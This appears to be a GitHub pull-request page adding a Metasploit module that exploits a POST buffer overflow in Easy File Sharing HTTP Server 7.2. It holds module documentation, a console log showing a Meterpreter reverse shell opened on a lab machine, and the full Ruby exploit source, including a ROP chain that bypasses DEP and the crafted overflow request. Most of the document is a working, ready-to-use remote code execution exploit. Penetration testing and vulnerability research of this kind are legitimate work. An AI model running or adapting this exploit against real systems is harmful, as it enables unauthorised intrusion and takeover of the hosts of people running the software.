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Land #8579, Easy File Sharing HTTP Server 7.2 - Post Overflow exploit
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## Description | ||
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This module exploits a vulnerability in the Easy File Sharing Web Server application, by exploiting an overflow in the Email Post parameter, through DEP bypass via ROP chain. | ||
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This module allows a remote attacker to get a payload executed under the context of the user running the Easy File Sharing application | ||
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## Vulnerable Application | ||
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[Easy File Sharing](http://www.sharing-file.com/) is a file sharing software that allows visitors to upload/download files easily through a Web Browser (IE, Firefox, Chrome etc.). | ||
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This module has been tested successfully on | ||
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* Easy File Sharing 7.2 on Windows XP En Sp3 | ||
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Installers: | ||
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[Easy File Sharing Installers](http://www.sharing-file.com/efssetup.exe) | ||
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## Verification Steps | ||
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1. Start `msfconsole` | ||
2. Do: `use exploits/windows/http/easyfilesharing_post` | ||
3. Do: `set rhosts [IP]` | ||
4. Do: `exploit` | ||
5. You should get your payload executed | ||
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## Scenarios | ||
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``` | ||
root@kali:~$ msfconsole -q | ||
msf > use exploit/windows/http/easyfilesharing_post | ||
msf exploit(easyfilesharing_post) > set RHOST 192.168.56.101 | ||
RHOST => 192.168.56.101 | ||
msf exploit(easyfilesharing_post) > exploit | ||
[*] Started reverse TCP handler on 192.168.56.1:4444 | ||
[*] Sending stage (957487 bytes) to 192.168.56.101 | ||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1253) at 2017-06-17 22:45:34 +0200 | ||
meterpreter > sysinfo | ||
Computer : MM | ||
OS : Windows XP (Build 2600, Service Pack 3). | ||
Architecture : x86 | ||
System Language : en_US | ||
Domain : WORKGROUP | ||
Logged On Users : 2 | ||
Meterpreter : x86/windows | ||
meterpreter > exit | ||
[*] Shutting down Meterpreter... | ||
[*] 192.168.56.101 - Meterpreter session 1 closed. Reason: User exit | ||
msf exploit(easyfilesharing_post) > | ||
``` |
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## | ||
# This module requires Metasploit: http://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
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class MetasploitModule < Msf::Exploit::Remote | ||
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Rank = NormalRanking | ||
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include Msf::Exploit::Remote::Tcp | ||
#include Msf::Exploit::Remote::HttpClient | ||
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def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow', | ||
'Description' => %q{ | ||
This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software. | ||
}, | ||
'Author' => | ||
[ | ||
'bl4ck h4ck3r', #POC | ||
'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
[ 'EDB', '42186' ], | ||
], | ||
'Privileged' => true, | ||
'Payload' => | ||
{ | ||
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", | ||
}, | ||
'Platform' => 'win', | ||
'Targets' => | ||
[ | ||
[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ], | ||
], | ||
'DefaultOptions' => { | ||
'RPORT' => 80, | ||
'EXITFUNC' => 'thread', | ||
'ENCODER' => 'x86/alpha_mixed' | ||
}, | ||
'DisclosureDate' => 'Jun 12 2017', | ||
'DefaultTarget' => 0)) | ||
end | ||
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def create_rop_chain | ||
# rop chain generated with mona.py - www.corelan.be | ||
rop_gadgets = [ | ||
# 0x00000000, # [-] Unable to find gadget to put 00000201 into ebx | ||
0x10015442, # POP EAX # RETN [ImageLoad.dll] | ||
0xFFFFFDFE, # -202 | ||
0x100231d1, # NEG EAX # RETN [ImageLoad.dll] | ||
0x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]| {PAGE_EXECUTE_READ} | ||
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] | ||
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] | ||
0x10015442, # POP EAX # RETN [ImageLoad.dll] | ||
0x1004de84, # &Writable location [ImageLoad.dll] | ||
0x10015442, # POP EAX # RETN [ImageLoad.dll] | ||
0x61c832d0, # ptr to &VirtualProtect() [IAT sqlite3.dll] | ||
0x1002248c, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll] | ||
0x61c0a798, # XCHG EAX,EDI # RETN [sqlite3.dll] | ||
0x1001d626, # XOR ESI,ESI # RETN [ImageLoad.dll] | ||
0x10021a3e, # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll] | ||
0x100218f9, # POP EBP # RETN [ImageLoad.dll] | ||
0x61c24169, # & push esp # ret [sqlite3.dll] | ||
0x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll] | ||
0x1001bd98, # POP ECX # RETN [ImageLoad.dll] | ||
0x1004de84, # &Writable location [ImageLoad.dll] | ||
0x61c373a4, # POP EDI # RETN [sqlite3.dll] | ||
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll] | ||
0x10015442, # POP EAX # RETN [ImageLoad.dll] | ||
0x90909090, # nop | ||
0x100240c2, # PUSHAD # RETN [ImageLoad.dll] | ||
].flatten.pack('V*') | ||
return rop_gadgets | ||
end | ||
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def exploit | ||
sploit = rand_text_alpha_upper(2278) | ||
rop_chain = create_rop_chain | ||
sploit << rop_chain | ||
sploit << "\x90" * 200 | ||
sploit << payload.encoded | ||
sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length) | ||
sploit << [target.ret].pack('V') | ||
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request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password" | ||
connect | ||
sock.put(request) | ||
handler | ||
disconnect | ||
end | ||
end |